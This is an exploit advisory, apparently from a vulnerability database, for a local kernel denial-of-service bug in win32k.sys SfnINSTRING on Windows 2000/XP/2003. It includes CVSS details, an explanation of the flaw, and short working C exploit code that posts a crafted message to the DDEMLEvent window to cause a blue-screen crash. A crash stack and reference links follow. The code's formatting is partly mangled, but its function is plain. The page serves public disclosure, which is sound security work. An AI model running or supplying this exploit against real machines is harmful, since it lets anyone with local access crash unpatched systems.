Windows 2000/XP/2003 win32k.sys SfnINSTRING local kernel Denial of Service

2010-05-06 / 2010-05-07
Credit: th_decoder
Risk: Medium
Local: Yes
Remote: No
CWE: CWE-20


CVSS Base Score: 4.9/10
Impact Subscore: 6.9/10
Exploitability Subscore: 3.9/10
Exploit range: Local
Attack complexity: Low
Authentication: No required
Confidentiality impact: None
Integrity impact: None
Availability impact: Complete

Windows 2000/XP/2003 win32k.sys SfnINSTRING local kernel Denial of Service Vulnerability Effect : Microsoft Windows 2000/XP/2003 full patch Author:MJ0011 Published: 2010-04-22 Vulnerability Details: Win32k.sys in DispatchMessage when the last call to xxxDefWindowProc, this function in dealing with some Message, will call gapfnScSendMessage this function table function to process, which under the deal 2000/xp/2003 0x4c No. message, there will be SfnINSTRING function called this function when the lParam is not empty, direct that the lParam is a memory pointer, and pull data directly from the address despite the use of the function of the SEH, but as long as the kernel address transmission errors will still cause the system BSOD Exploit code: # Include "stdafx.h" # Include "windows.h" int main (int argc, char * argv []) ( printf("Microsoft Windows Win32k.sys SfnINSTRING Local D.O.S Vuln\nBy MJ0011\nth_decoder$126.com\nPressEnter"); getchar(); HWND hwnd = FindWindow ("DDEMLEvent", NULL); if (hwnd == 0) ( printf ("cannot find DDEMLEvent Window! \ n"); return 0; ) PostMessage (hwnd, 0x18d, 0x0, 0x80000000); return 0; ) Common crash stack: kd> kc win32k! SfnINSTRING win32k! xxxDefWindowProc win32k! xxxEventWndProc win32k! xxxDispatchMessage win32k! NtUserDispatchMessage .... Windows 7/Vista no such problem Thanks: Thanks to my colleagues LYL to help me discovered this vulnerability

References:

http://www.securityfocus.com/bid/39631
http://www.securityfocus.com/archive/1/archive/1/510886/100/0/threaded
http://vigilance.fr/vulnerability/Windows-denials-of-service-of-win32k-sys-9607
http://secunia.com/advisories/39456


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